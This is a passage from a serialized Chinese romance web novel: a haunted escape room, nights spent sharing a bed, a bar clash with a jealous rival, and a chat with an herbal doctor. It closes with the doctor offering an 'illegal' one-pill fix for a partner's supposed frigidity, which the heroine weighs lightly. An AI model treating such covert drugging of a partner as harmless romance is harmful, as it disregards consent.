温热的呼吸激起密密麻麻的痒,言浠强忍着异样解释道,“我只是不喜欢那个男的。”
时千岁把上下文联系到一起,又回想那人的举动,心中突然产生了一个大胆的猜想,言浠该不会是因为那人跟自己说话吃醋了吧?占有欲那么强吗?这个猜测还未来得及深思便已经引得人心潮澎湃,她激动地抬起头,“我也不喜欢他。”
言浠望进了那双干净清澈的眼睛里,心跳没来由的快了一拍。
时千岁目光灼灼地盯着她,“只喜欢”你。
话还没说完,言浠就有些慌乱地移开了目光,把人推离了怀抱。
“哎?”她还没抱够呢!时千岁的失落都写在了脸上。
这小家伙,害怕都不忘吃人豆腐,言浠静静地瞥她一眼,催促道,“还玩不玩?”
时千岁急忙跟上,“玩!”她走至跟前,缓了脚步,指尖轻轻地勾住了言浠的手,刚刚还晶亮的眼睛瞬间弥漫上了一层雾气,神色犹豫又可怜,“你牵我。”
见言浠默许,时千岁更为大胆的将掌心相贴,指尖一点一点地挤进了指缝,与她十指相扣。
不远处的韩曲凌简直看呆了。
牛啊,眼泪说来就来,不当演员可惜了,她要是这么会,何苦找不到女朋友!她在心里给时千岁比了个赞
主教学楼里光线依旧昏暗,一间间教室的大门被木条定死,窗户上贴满了白色的封条,空气中充斥着灰尘和腐败气息,走廊只剩里脚步声回荡,让人不寒而栗。
韩曲凌倒吸一口凉气,小心脏砰砰直跳,但她表面云淡风轻,“里边场景还行”
言浠淡淡地“嗯”了一声,感受到掌心的湿热,她余光看了身后人一眼,只见时千岁小脸煞白,一只手遮住了眼睛,又打开了细细的一道指缝,惊恐地从里往外看。
言浠心道,可爱。
209教室在走廊的尽头,三人进入教室的一瞬间,大门自动关闭,发出“砰”的一声震响,时千岁尖叫出声,正欲往言浠怀里钻,就见言浠不知从那摸出来了一只手电筒,抵到了下巴上。
一束亮光打下来,映出了一张面无表情的脸。
时千岁:“啊啊啊啊!”
韩曲凌无语的撇了言浠一眼,“幼稚!”
又对受惊过度的时千岁说,“你还没习惯她的恶趣味呢?”
现在习惯了,呜呜呜,时千岁甩开言浠的手,又不敢离她太远,于是很没气势的说了句,“坏女人!”
“坏女人”嘚瑟地朝韩曲凌挑了挑眉,并重新把时千岁捞进了怀里。
韩曲凌:“”
得,又吃一嘴狗粮。
哄好时千岁后,几人开始翻找线索,充满年代感的木制课桌,写着“祝祖国繁荣昌盛”的黑板报,韩曲凌翻出几封手写信,“还挺有代入感的,情书嘿。”
言浠拿起桌上的书本饭看见扉页,上边写有“苏红梅”三个字,记得操场里唯一贴黑白照片的墓碑,主人公就是她,时千岁则是拿起桌上日历查看,上边日期定格在“1970年2月23日这天。”两人对视一眼,在彼此眼中看到了确定,想必这个游戏就是围绕“苏红梅”进行的。
而韩曲凌不但毫无察觉,还兴致勃勃地念起了情书:“我亲爱的中信先生,献上一个吻寄语我远方的情人,自那日一别,我便在相思中徘徊,梦中你的身影时常浮现,与我诉说美好的明天,我期待着、盼望着和你一起组成艳阳的生活画卷,盼君归”
“亲爱的中信先生,明日是返校日,校长先生将组织全校师生参加读书会,恐不能见面,念君,1970年2月22日。”
韩曲凌“啧啧”两声,甩了甩手中的信,“学生时代的恋爱真美好啊,你俩上学那会给人写过情书吗”
言浠瞥她一眼,淡淡道,“无聊,”说着手伸向桌兜摸索着。
韩曲凌又把目光移向时千岁。
时千岁思索片刻,认真道,“都是别人给我写,一天平均三封吧。”
“”
韩曲凌想起自己上学时代那些个无疾而终的暗恋,悲痛欲绝,心里高呼,人与人之间的参差怎么这么大呢,她就不应该问,呜呜呜。
言浠摸索到了用胶带固定在桌兜上壁的钥匙,取下握在掌心,凑到韩曲凌耳边,幽幽道,“你知道学生时代什么最可怕吗?”
“不知道啊。”
言浠贴心地捂住了时千岁的双眼,视线穿过韩曲凌向后门看去,冷嗖嗖道,“监视你的班主任。”
韩曲凌顺着她的视线回头,只见黑漆漆的后窗上出现了一张血色全无的脸,正一瞬不瞬的盯着她。
韩曲凌血液瞬间上涌,心脏快要跳出喉咙。
窗口的那鬼影在她望过来的一瞬间发出厉声尖叫,走廊同时响起数十道脚步声,一起涌向门口,把那木门拍出令人胆战心惊的巨响。
空中响起倒计时的声音,“五、四、三、二一,”随着尾音落下,头顶亮起红色灯光,同时大门“砰”地弹开,十几道披着血淋淋校服的鬼影争先恐后的从狭窄的门口挤入,朝三人飞奔而来。
时千岁:“啊啊啊啊!”
韩曲凌:“啊啊啊啊!”
跑在最前头的几个先是把目标对准了言浠,在看到她始终面不改色后,齐齐把视线转到了吓到缩成一团的时千岁身上,甫一抬脚,后脖颈就感受到了一股强劲抓力,这股力不但无法挣脱,反而拉扯着他们向后好几步。
广播响起工作人员的警告声:请注意玩家禁止殴打NPC。
被钳制住的两个NPC回头朝始作俑者苦笑了一下,言浠冷冷的发出警告,“别动她,”
又松开手,指向韩曲凌,“去找她玩。”
力道和威压消失,npc如蒙大赦,一溜烟向韩曲凌扑去。
韩曲凌被追的四处乱窜,“重色轻友!!!”
言浠把瘫软的时千岁从地上拉起,横抱进怀里,大步流星的向门外走去,走出大老远还依稀能听见韩曲凌的嚎叫声。
好一会儿,时千岁才敢睁开眼睛,感受到身体的腾空,她仰头注视着女人精致完美的侧脸,顿时又是心乱如麻。
言浠偏过头,温柔的发丝滑过脸颊,灼热的呼吸一瞬交错,时千岁耳根发烫慌乱地错开眼,憋在心里很久的话在这时脱口而出,“言浠姐,你真有劲儿。”
言浠单手环着她的腰,另一只手把玩着钥匙,脚步依旧稳健,她随口答道,“你又不重。”
“哎”时千岁没忍住感叹出声,“可惜了”
言浠疑道,“嗯?什么可惜?”
空有一身蛮力,可惜是个性冷淡呗,时千岁苦涩地看她一眼,压下心中那略微的不甘,转移话题道,“不等韩叔叔吗?”
言浠轻飘飘道,“不用管她。”
急促的脚步声自身后传来,韩曲凌终于甩掉了npc追了过来,她气喘吁吁杵在二人面前口吐芬芳,“丫的,追了我二里地!”
时千岁没忍住轻笑出声。
韩曲凌没好气地瞪她一眼,一句“小没良心的”还未说出口,便遭到言浠冷嗖嗖的视线威胁,她窝囊的把话咽进了肚子里,默默走到角落痛哭流涕,呜呜呜,护犊子的老闷骚,合伙虐狗,气死了
钥匙上的线索指向209宿舍,几人穿过血腥如炼狱般的食堂,韩曲凌遭到了言浠拿着血乎乎的残肢拍肩报复,又被时不时蹦出来的npc吓唬,一路鬼哭狼嚎,再无开始那般轻松、嘚瑟,人瑟缩在言浠旁边大汗淋漓安静如鸡。
几人顺利来到宿舍,甫一打开209大门,渗人的音效便再度来袭。
尖锐的哭声伴随着恶魔般阴森的笑声在狭仄的空间回荡。
“救救我。”
“我想回家,我想爸爸妈妈。”
韩曲凌此时如同惊弓之鸟,“啊啊啊啊!”
时千岁刚刚才渐渐习惯了这个游戏营造的恐怖氛围,此时又被韩曲凌的惊叫吓得心脏一滞,也跟着叫了起来。
两道魔音入耳,言浠一阵头疼,紧急把两人拎进房间,关上门,令人毛骨悚然的音效声戛然而止。
言浠不再管两人,独自去搜线索,宿舍除了墙壁上遍布血迹,其他还算整洁,桌上摆有化妆品梳妆镜等女生必备物品,最显眼的还属一上锁的保险箱。
言浠怎么也找不到将其打开的钥匙。
这时,时千岁勾了勾她的手指,提醒她注意床上的小熊。
言浠不解。
时千岁说,“我也有个大柜子,里面有我所有值钱的家当,还有从小到大的秘密,钥匙就藏在床上的抱枕里。”
言浠挑挑眉,“所以,就这么告诉我了?”
时千岁满脸真诚,“我有什么是你不能知道的。”
她们现在有这么熟了吗?言浠想。
时千岁来劲了,挡在她身前,见缝插针的表心意,“你要想知道我的秘密我晚点亲口讲给你听,金银首饰,房产车子,你想要我都给你,就连我的人,将来都是”
言浠被吵的太阳穴直跳,抬手捂住了她的嘴,无视时千岁的怒颜,拿过小熊,探指一摸,果然摸到一个隐藏的拉链。
顺利拿出钥匙,打开了锁。
柜门打开的一瞬间,身后的衣柜发出窸窸窣窣的响动。
几人一愣,同时向后看去,只见柜门“啪”一声弹开,里面站着一个着血红长裙的青面女鬼,女鬼蓦地睁开眼,露出两个黑洞洞的瞳孔。
韩曲凌:“啊啊啊啊!”
时千岁:“啊啊啊啊!”
女鬼脖子一扭,身体折成了一个人类几乎不可能做到的诡异角度,向她们飞速爬来。
韩曲凌和时千岁瞬间失去了语言能力,瘫软成一摊水,就连言浠也罕见地露出了震惊的神色,但不多,她抓起保险箱的纸条揣进兜,一手一个拎起两人就跑。
一路连托在拽,总算到了学校后门,打开纸条输入密码,顺利通关。
“剧情还行,那位中信先生利用苏红梅的感情得知了政府发起的“读书会”的消息,带反党入侵校园屠杀,苏红梅得真相忍辱负重混入其中,毒杀恶魔近百人,”食堂多具着黑色西装佩戴相同徽章的尸体可以证明这一点,“之后的苏红梅依旧心中愧恨选择在学校大门自缢,灵魂永远守护这座学校,”主题与门口的“禁止入内”警告标语交相呼应,言浠颇有兴致的总结。
话锋一转,“就是不够刺激。”
两道惨白的脸同时转向她。
“变态。”
“你就是个bug。”
今日行程结束后,言浠两人帮韩曲凌把行李送去了酒店。
“你们两今晚要不别走了吧,”韩曲凌瞄了眼空旷的房间,找了个蹩脚的理由掩饰自己余惊未平的内心,“我想跟你们彻夜长谈。”
遭到两人同时拒绝。
“不可能。”
“不要。”
“不要拒绝的这么干脆嘛,”韩曲凌快给她们跪下了,“我自己一个人害怕”
言浠冷笑一声,不留情面道,“是你自己非要玩的,该。”
韩曲凌可怜巴巴地看向时千岁,时千岁犹豫了两秒,娇羞地看了言浠一眼,说道,“她去哪我去哪,韩叔叔你自己克服。”
天呢,小没良心的,韩曲凌表示很受伤
分别后,两人直接回了家,各自回到卧室。
时千岁躺在床上,身体紧绷地盯着天花板发呆。
房间里黑的像是被墨汁浸透,只有窗帘缝隙间透进的一线月光,惨白的映在墙上,风一吹,窗帘鼓动,月光忽地暗了一下,像是飘过去了一道影子,时千岁如同惊弓之鸟般从床上弹起,用了平生最快的速度开了灯,重新回到床上,蜷缩进了毯子里。
感官被蒙蔽,毯子外的任何动静都被放大了无数倍,脑海中的恐怖画面持续翻腾,全都是那女鬼,空洞扭曲血淋淋向她爬过来的模样,时千岁顿时冷汗淋漓,止不住地发抖。
窗外不知名的鸟发出几声怪叫,时千岁的心里防线瞬间崩塌,她猛地掀开毯子,敲响了隔壁房间的门。
言浠打开门,就看到时千岁蹲在门口,一双氤氲着水雾的眸子可怜兮兮地望着她,脸色惨淡,一双唇抿的很紧。
言浠挑挑眉,“嗯?”
时千岁“哇”的一声哭了出来,紧紧的抱住了她的小腿。
“我想要跟你一起睡”
想起昨晚的遭遇,言浠没再心软,直言道,“你想都别想。”
“我发誓我今天睡觉一定很老实。”
言浠轻轻“呵”了一声,“你昨天就是这么说的。”
“求求你了,大不了你再给我绑起来。”
小家伙哭得梨花带雨,实在惹人心疼,而且还这么信誓旦旦,言浠终是没有抵挡住,半信半疑地给她放了进去。
时千岁进了房间,熟练地把自己抛到了大床上,一双大眼睛目不转睛地盯着言浠,眼尾处红晕未消,但肉眼可见的开心了起来。
言浠被这道无处不在的视线搅得浑身不自在,她打字的手一顿,“你老看我干什么?”
时千岁咬了咬唇,哀求道,“你能不能陪我?我自己一个人不敢”
言浠叹了口气,彻底没了脾气。
关上电脑,言浠走向床边,掀开毯子躺了上去。
距离拉近,那股好闻的冷香便再度侵袭鼻端,柔和的光线滑过女人高挺的鼻梁,在睫毛下投下一小片阴影,唇瓣像是刚刚抿过,泛着莹莹水光,红润饱满,惹人心尖发痒,欲去采撷其甘甜,时千岁强行把目光从那片红唇上撕下来,又控制不住的往下滑,从小巧莹白的耳垂到漂亮的天鹅颈最后定格在微微起伏的胸口,时千岁呼吸逐渐加重。
言浠感受到更加灼热的视线,偏过头,“还不睡?”
轻轻柔柔的声音像是带了钩子,轻而易举地勾弄着时千岁的心跳,她顿时头脑发昏,想立刻扑过去把人压倒,但又猛然了记起她白天说过的话。
“要尊重”尊重言浠是性冷淡这一事实。
时千岁的默默转了个身,“你别用这种语气跟我说话。”
言浠疑道,“嗯?”
上扬的语调贴着耳根滑入,激起了时千岁一阵小幅度的颤栗,她一个深呼吸,坐了起来,怒视言浠。
莫要勾引我!!!
30-40
第31章
◎腿心一片湿热◎
明明睡过一次,怎么这次反应还是这么大,没出息。
言浠看着她气鼓鼓的小脸蛋,心莫名有点慌乱。
她哪里惹到她了吗?
时千岁一言不发地跳下床,把手机支到桌子上,播放起了太极视频。
全身放松,重心下沉,深呼吸,一手前分,一手掌心下压,时千岁动作十分不协调,以至于五分钟不到便呼吸急促,额间也蒙上了一层细汗。
言浠看着卧室中间沉默不语卖力运动的小家伙,逐渐惊愕。
直至,半个小时后,时千岁关上手机,跑出了卧室。
浴室里水声不止。
再回来时,时千岁换了一套干净睡裙,眼神格外清亮。
她规规矩矩地躺到言浠身侧,一脸正气的对言浠说道,“晚安。”
言浠从头到脚的把她打量了一遍,实在没忍住,担忧道,“你疯了?”该不会今天受刺激过大了吧,早知道就不吓唬她了。
时千岁笑,“没有。”
“王奶奶说,我的身体需要加强锻炼。”
练太极不仅可以增强体魄,更能锻炼心性,让人更加沉稳,她起初还不以为意,没想到啊,还真有用!
言浠疑道,“哪个王奶奶?”
“上次那个老中医。”
想起了那时闹的笑话,言浠面色不虞,“呵,庸医。”
时千岁认真道,“别这么讲,王奶奶虽然爱开玩笑,但心地是极好的,上次给你开的药方你放哪里了?要不明天去抓点药,你试一下,说不定真能改善你的睡眠问题呢。”
言浠缓缓扔出两字,“撕了。”
时千岁:“”
“你不是不喜欢她吗?”如今怎么一口一个王奶奶叫的亲热?
“不是不喜欢,是对于医生职业发自内心的恐惧。”时千岁解释。
那就是喜欢喽,言浠莫名生出几分醋意,一个转身,背对起了时千岁,闷闷道,“晚安。”
时千岁毫无察觉,乖乖地闭上眼,原于刚刚运动的消耗,加上身边人给予的心安,没多久便进入了梦乡。
听到身后均匀的呼吸声,言浠不可思议的转过身。
这么快睡着了?
居然真的没有动手动脚?
就在言浠放松警惕之时,眼前熟睡的人突然动了,手臂一伸,自然地揽住了她的腰,顺势滚到了她的怀里。
就知道,与其信小家伙睡觉老实,不如信世界上有鬼。
言浠都准备掏绳子了,而意外的是,这次时千岁的手却没有再继续肆无忌惮的游走。
言浠身体渐渐放松下来,不禁垂眸看向怀中人。
巴掌大的小脸,皮肤白嫩的如同剥了皮的鸡蛋,看不见任何毛孔,鼻尖小巧精致,檀口微张,依稀看得到内里半截粉嫩舌尖。整个人软软的依偎在她怀中,犹如一块精美可口的小蛋糕。
轻柔的呼吸轻轻拂过脖颈,像夏夜微凉的风吹过湖面,泛起一层隐秘的涟漪,她的发丝散在枕间,带着洗发水的淡香,偶尔蹭过下巴,痒痒的,却让人舍不得移开。
言浠不敢动,怕惊醒怀中人,又忍不住用最轻的力道收拢手臂,让她贴的更近。
体温透过薄薄的睡裙蔓延过来,像一块柔软的毯子裹住了她所有的不安,平稳的心跳、绵长的呼吸、以及落在锁骨上的睫毛,夜色把一切都蒙上了一层柔光,言浠在这片温软里,渐渐闭上眼睛
天刚亮,薄雾般的晨光透过纱帘漫进来,给房间渡上了一层柔和的青白色,时千岁睁开眼,言浠的睡颜浮现在眼前,侧脸陷在蓬松的枕头里,眉间舒展,唇边还带着一丝未散的笑意,像是梦见了什么美好的事。
时千岁用温柔的目光描绘着她,心脏一点一点被幸福填满。
闹钟不合时宜的响起。
时千岁一惊,慌忙够到手机,关闭了闹钟,再抬眸看去,眼前人依旧沉睡,毫无转醒的架势。
时千岁心生疑惑,言浠的睡眠质量什么时候变的这么好了,王奶奶不是说需要发泄吗?
发泄在哪了?
时千岁偷偷把盖在两人身上的毯子打开一条缝,只见言浠的大腿。
正不偏不倚的抵在她的
后知后觉,一片湿热。
时千岁脸一红,言浠发没发泄不知道,她肯定是又没出息的发大水了。
时千岁叹了口气,蹑手蹑脚的爬下床,去浴室拾捯自己
周一是公司最忙碌的一天,大会小会不间断,直到下班,时千岁才看见言浠的身影。
跟同事打了声招呼,时千岁朝着那道身影跑去。
“言浠姐,韩叔叔在楼下等我们。”
言浠“嗯”了一声,和时千岁一起乘电梯下楼,和韩曲凌汇合。
韩曲凌见两人出来,强打起精神打了声招呼,“等死我了。”
时千岁看着她打了粉底也遮不住的黑眼圈,问,“没睡好?”
能睡好吗,刚经历恐怖的密室又一个人孤零零的睡酒店,每一个字都惨绝人寰令人发指,韩曲凌幽怨地看了一眼两个只顾撒狗粮不顾狗死活的损友,说道,“我不管,陪我去酒吧!”受刺激了,找不到老婆一夜情也好啊!
言浠说,“我无所谓。”
时千岁附和道,“那我也无所谓。”
言浠微微皱了皱眉,转过头去叮嘱道,“但,你不能喝酒。”
时千岁的一句“我知道”还未出口,韩曲凌便“啧啧”声不断。
揶揄道,“你管的还挺宽。”
时千岁颇具宣告主权似的一扬下巴,“我就喜欢她管我。”
言浠更是得意的向她挑挑眉。
“”
韩曲凌无语,韩曲凌默默流泪,韩曲凌悲痛呐喊。
这还没在一起就开始合伙欺负人,要是在一起这还了得?
三人找了个餐厅随便吃了点东西,便驱车前往“Eleven”酒吧。
韩曲凌刚刚搜索到,Eleven是北城口碑最好的拉吧,地处市中心,环境一流酒水丰富,而且最重要的是每晚十一点,老板亲自主持拉娘配,正合了她的意。
停好车,三人由服务生引着入座卡座。
这是时千岁第二次来这种地方,上一次因为失恋再加上醉的快,根本来不及好好打量,这次不免好奇。
酒吧光线被调成最柔和的暖调,正中央歌手抱着吉他哼着一首英文爵士小调,节奏轻快,慵懒的嗓音让人不自觉的放松,舞池里的女人们跟着律动轻轻摆动着腰肢,空气中暗香浮动。
吧台旁调酒师的手腕灵活翻动,银色的雪克杯在空中划出漂亮的弧线,引得周围几个漂亮女孩阵阵赞叹。
环境和氛围都不错,绝对是调剂生活的不二之地,如果不是那个女人也在的话,她今晚一定多陪韩曲凌一会,好好帮她物色物色女朋友。
时千岁目光沉沉地望着位于吧台角落的林沐涵,嘴里念叨了一句,“阴魂不散。”
“什么?”言浠问。
“没什么,”时千岁站起身,语速急促,“我们走吧。”
言浠、韩曲凌、及等候点单的服务生,三双眼睛同时疑惑地看向她。
时千岁刚想找个借口,就见林沐涵若有所感的回头,朝这桌望了过来,接着站起身目标明确的向她们走来。
“言言,好巧。”
“介意我坐在这吗?”
时千岁心道,介意极了,但出于自身的礼貌教养她并没有开口替言浠做这个决定,但同样也没有掩饰情绪,小脸一拉,重重地坐回到椅子上。
听到言浠回道“不介意”时,时千岁更是气恼地瞪她一眼。
不懂得拒绝吗?
韩曲凌把时千岁的情绪尽收眼底,心中渐渐浮现出一个猜测,她偷偷给时千岁发消息,【你口中那个情敌?】
时千岁撇了眼手机屏幕上的消息,给了韩曲凌一个肯定的眼神。
哇,修罗场啊,韩曲凌顿时来了兴致。
林沐涵周身裹挟着浓重的酒气,手臂支撑在桌面上,才勉强稳定住身体往下坐。
言浠注视着她的举动,诧道,“喝了多少?”
林沐涵靠进沙发,欲望*在酒精的发酵下不经掩饰的从眼底溢出,她目光不错的盯着眼前人,那些争先恐后挤在喉咙口的话在碰触到言浠微微蹙起的眉头时又缓缓落下,最终变成了一声夹杂着无奈的叹息,“你今天拒绝我的邀请又是因为她吗?”林沐涵把话题指向了时千岁。
时千岁上一秒因为言浠对林沐涵的关心而泛起的丝丝不愉快又因这句话而彻底平息,甚至自动忽视了韩曲凌。
她挑挑眉,主动接了话茬,“对,没错。”
充斥着怒火的视线倏地钉到她脸上,像是要生生把她灼烧个洞一般,时千岁毫不胆怯地回瞪了过去。
空气瞬间弥漫起浓浓的火药味。
直到言浠开口解释,“和朋友有约”林沐涵留意到了坐在对侧的韩曲凌,这才勉强整理好可那快要溢出来的情绪。
“言言,再陪我喝点?”
凭什么陪你喝啊?言浠都不陪我喝呢,时千岁再次抢答,“她戒了,”
并挑衅道,“没错,还是因为我。”
气不气?
32
第32章
◎“你能为爱做0吗?”◎
林沐涵惊愕的目光在对上言浠沉默的一瞬撕开一道裂缝,其中火星迸溅,本就不多的理智顷刻间土崩瓦解。
压抑的情绪彻底爆发,几乎从牙缝中咬出了三个字,“凭什么?”
“明明是我先遇到你,明明是我先喜欢你,为什么不肯给我个机会?”林沐涵泛白的指尖紧紧捏着酒杯,“大雪天冒着严寒陪你打工到凌晨,生病为了照顾你推掉至关重要的比赛,你遇到猥琐犯我为了救你被他捅了一刀,后来你执意要学散打,怕你受欺负我伤都没好就去做你陪练,甚至为了你放弃继承家业,如此你都看不见吗?”
严寒、大雪、打工、受欺负,每个字都如同一把尖刀,直直的刺进了时千岁的心脏,密密麻麻的痛在心尖蔓延。
她现在所见到的言浠完美、自信、强大,足以成为她最坚实的依靠,而言浠呢,在最脆弱时光里,身边有且只有林沐涵。
时千岁醋意翻涌的同时心底萌生出强烈的危机感,桌下的双手紧紧搅在一起,心脏砰砰直跳,同样紧张地等待着言浠的回答。
言浠抬眸,神情异常认真,但说出的话却没什么温度,“我不喜欢你,”大抵是觉得“为了你”三个字过于沉重,又加了一句自以为贴心的开导,“不要再把心思浪费在我身上了,你值得更好的。”
时千岁长松一口气,心脏踏实地落回到了实处,一时的欣喜让她情不自禁的把心里话脱口而出,“对对对,强扭的瓜不甜嘛。”
而这句话落在被酒精放大情绪的人耳朵里,无疑成了落井下石,林沐涵再次被激怒,眼底一点一点被阴郁填满,带着浓重的不甘,一遍又一遍的宣告着心中的执念,“不可能,言浠,你是我的,只会是我的,只有我才足以与你相配。”
时千岁:“”
相配什么?哪里相配了?
她要是有林沐涵这自信,做什么都会成功的。
想回家了,即便知道言浠对林沐涵没意思,但听到这些强势发言,心里还是酸酸的,时千岁自然的把掌心塞到言浠手中,人依偎到她身边,软下了声音撒娇道,“言浠姐,我有点不舒服。”
刚刚因林沐涵冒昧的发言而升起的寒芒一点点收敛,言浠回握她的手,紧张道,“怎么了”
时千岁像没有骨头一样往她怀里钻,换上了一副柔弱姿态,“有点晕”
“那回家吧,”言浠站起身,把时千岁小心的扶了起来,又对林沐涵说,“你喝多了,早点回去休息。”
看似关心,实则语气更像是警告
几人出了酒吧。
韩曲凌忽然停住了脚步。
“你们先走吧,我在浪一会儿。”
言浠对她的浪荡习以为常,索性没多说什么,时千岁则不然,凑过来,用只能两个人听到的声音问,“韩叔叔,你该不会打算回去找林沐涵吧?”
“算你聪明,小戏精。”
时千岁有点担忧,“我撮合你和林沐涵是开玩笑的,”林沐涵心里装着言浠,韩叔叔要是对她上心受伤的只会是韩叔叔,她即便再怎么想摆脱这个情敌也不应该拿韩叔叔的感情开玩笑,“不如我问问我老姐?我老姐身边可都是商业巨鳄,个顶个的富得流油,绝对有适合你的。”
“啧,”韩曲凌屈指在她额头上弹了一下,“我跟你说想榜富婆也是开玩笑的,傻孩子。”
“你甭管我,我心里有数,倒是你,你再不过去言浠该怀疑你是装病了。”
时千岁:“!!!”
“韩叔叔,拜拜,你多保重。”
“明天送你去机场。”
韩曲凌笑,“算你有良心。”
待两人驱车离开后,韩曲凌再度折返回酒吧
眼前落下了一道模糊的阴影,林沐涵本能的以为又是哪个没眼力见的女人过来搭讪,她烦躁的挥手驱赶,直到一抹扎眼的红色闯入她的视线,这才恍然觉得这人莫名有些熟悉。
“呦,还喝呢”韩曲凌拉了把椅子坐到她旁边,朝那个留着帅气狼尾的调酒师抛了个媚眼,“来杯你最拿手的特调呗。”Eleven酒吧这位调酒师在当地很有名气,长相不俗调酒技术更是一流,不少小姑娘就是冲着她来的,这也是韩曲凌想要留下来的理由之一。
调酒师微一点头,抛起雪克杯,动作利落干脆。
准备酒品间隙,林沐涵终于认出了她。
“言言的朋友?”全程一言不发只顾看热闹的那位?
林沐涵对她没什么好印象,不耐都写在了脸上,“你来干什么?”想继续看笑话?
瞧瞧,脾气真大嘿,韩曲凌接过特调礼貌地道了声谢,这才转过头饶有兴致的打量起林沐涵。
利落的低马尾、极具攻击性的眉眼,白衬衫领口大敞露出笔直锋利的锁骨,整个人锋芒毕露给人一种很浓烈的压迫感。
落在身上的视线明晃晃,林沐涵心里极度不适,脸色越发阴沉。
“看够了吗?”
韩曲凌勾唇一笑,轻佻的眼神落在她脸上,“没有。”
神经,林沐涵不想与她纠缠,起身便要离开。
“哎别走啊,”她可是特意回来开解这位醉鬼的,韩曲凌问,“你想不想知道言浠为什么拒绝你?”
听到言浠两字,林沐涵脚步一顿,偏过了头。
“你们不合适。”
才被言浠拒绝,就又被不相干人等点评,真当她林沐涵好惹吗?林沐涵转过身,带着逼人的寒气走近韩曲凌,“是吗”
“别动气,”韩曲凌在她的逼视下,终于收起不正经的姿态,认真解释道,“某种意义上,你俩太像了。”
醉意让大脑一片混沌,林沐涵不解,“那又如何?”
性格也好,能力也好,气场也好,但这都不是重点,重点是,韩曲凌轻飘飘道,“你有没有想过你两撞号了?”
眼前人眸心一晃,这番话显然给她内心带来了不小的震撼,韩曲凌决定再添把火,她好朋友好不容易要开花了,决不能再徒增阻碍了,韩曲凌想,必要时贡献自己也不是不可以,“以我对言浠的了解,她不可能是下面内个。”
“你应该也不是吧。”
眼前人的沉默印证了韩曲凌的猜想。
“你能为爱做0吗?”
林沐涵神色挣扎,双手紧紧掐住掌心,指甲深深陷入到了肉里,都未察觉。
韩曲凌把她的动作尽收眼底,继续开口,“显然言浠也不能。”
“不过,”韩曲凌话锋一转,语气尽显暧昧,“我可以。”
她勾住林沐涵劲瘦的腰,将她身体拉近,“我到是觉得你挺带劲的,不如我们俩碰一碰。”
轻佻的话和身体的碰触让林沐涵瞬间回神,眼底的怒意一点点散开,她居高临下的望着眼前人,抬起手缓缓掐住了她细白脖颈,慢慢收紧,逼近那双因想要摄取空气而微微张开的红唇。
薄唇轻启,吐出夹杂着浓重酒气的一句话。
“即便我不和言浠在一起,你也别做梦了。”
两人回家后,时千岁一改柔弱姿态,非常麻利的就跟着言浠的脚步来到了她卧室门口。
“我能不能还跟你睡?”
言浠好整以暇地看着她,“这次又是什么理由?”
尝到了甜头,时千岁再也不愿意回到那个孤单寂寞冷的小卧室了,路上就想好了借口,她脱口而出道,“我被酒气熏的有点头晕。”
言浠静静地看她两秒,侧了侧身子,让出了一条道。
见她默许,时千岁迅速钻了进去,轻车熟路的滚到了大床上。
闻着枕头上残留的体香,时千岁心里发出一声满足的喟叹。
因为几次无故断更,评论区已经有很多读者表达不满,言浠今晚打算日万弥补一下,刚打开文档敲几行字,就见时千岁那张脸放大在眼前。
言浠下意识“啪”一声合上了电脑。
时千岁:“???”
言浠清了清嗓子,掩饰慌乱,“不去洗澡吗?”
时千岁把手机支到了写字台上,打开了视频,“我打会儿太极,”防范于未然。
小家伙应该什么都没发现,言浠暗自松了口气。
时千岁幽幽望了过来,“言浠姐…”
“嗯?”
时千岁一个停顿,“你是不是有什么秘密瞒着我?”
言浠心脏打起了小鼓。
“我能有什么秘密?”
“该不会…”时千岁笃定道“背着我偷看小电影吧?”
言浠心脏落到实处,调侃道,“你就知道?”
“因为我电脑里就有啊,有正常需求的人应该都会看吧…”
言浠收好电脑,顺手拿起搭载一旁的睡裙,认真道,“我就不会。”
时千岁:“”
糟糕,忘记她是性冷淡了
“好吧…”时千岁给了她一个十分理解的眼神。
言浠:“???”什么意思?
言浠实在不懂小家伙的脑回路,但见她不再抓着“秘密”二字不放,留下一句“我先去洗澡了”就匆匆往出走。
时千岁在屋里打了一套太极拳,听屋外水声还没停止,百无聊赖下抓起了手机。
自动忽略了工作群,时千岁先是回复了爸妈消息,随后滑到大春。
大春已经好几天没和她主动发微信了,按大春那个热衷吃瓜的性子不应该啊,时千岁疑惑地打开聊天框。
【big春,收到请回答,收到请回答,over。】
big春秒回:【嘿嘿。】
时千岁往椅子上一靠,端起水杯,单手打字,【最近在干嘛?】
big春:【我回北城了。】
时千岁:“???”
【回北城不告诉我?什么时候回的回来多久了?你又住哪里了?】
时千岁的表情罕见的严肃起来,距离开学还有一个月,大春临海的训练还没有结束,为什么这么早回来,难不成…
【千金姐欺负你了?】
这是完全有可能的,毕竟大春这么老实,而时千金又是个老谋深算的主。
那边显示长时间的正在输入。
时千岁眉头越皱越紧。
又追问道,【怎么欺负的?】
对面这次速度很快的甩过来一条消息:【不是、没有!!!】
big春:【那边训练提前结束了。】
时千岁的猜测只猜对了一半,时千金确实欺负大春了,不过是那种“欺负。”
大春实在受不了与她独处的生活,索性溜回了北城。
big春:【千金姐还是挺好的,她知道我回来后偷偷的把咱们秘密基地的钥匙给了我让我住,还给我请了两个阿姨照顾我的饮食起居,天天给我做大鱼大肉,我刚刚减下去的体重都有点回升了。】
【而且千金姐不让我跟你说,怕你心里不平衡。】
时千岁:“”
苍天啊!合着全家上下就只有她苦兮兮。
时千岁及其不满,打开时千金的微信就要控诉。
看到停留在屏幕中的最后一条消息时,目光忽然顿住。
【言浠带你去看老中医了吗?】
王奶奶,怎么把她给忘了,时千岁懊恼的直拍大腿。
无瑕在找时千金麻烦,时千岁立刻翻出王奶奶微信,上来就是一句,【我亲爱的妙手回春的神医奶奶,你在吗?】
【你能不能治性冷淡啊?】
一分钟后,王奶奶回复道:【小意思。】
时千岁盯着这行字,眼睛逐渐亮了起来。
家人们,她有救了!
【作者有话说】
千金和大春是副CP。
文中还有另外一对,可以猜了,猜对有奖。
33
第33章
◎同床共枕成了彼此之间的心照不宣。◎
【是因为小言那孩子吗?】
时千岁诧异。
【奶奶你怎么知道?】
王奶奶:【我又不瞎,又怎么可能看不出来你喜欢那姑娘呢。】
有这么明显吗?那言浠怎么就看不出来,时千岁心里惆怅一瞬。
转而回复,【没错,所以奶奶,你再帮帮我。】
王奶奶:【那你是要犯法的那种还是不犯法的那种?】
嘶?时千岁挠头:【有什么区别吗?】
王奶奶:【不犯法的见效慢,最少要喝三个月的中药,后者一颗见效。】
三个月…以言浠对王奶奶的偏见,她肯定不会乖乖吃,但后者…
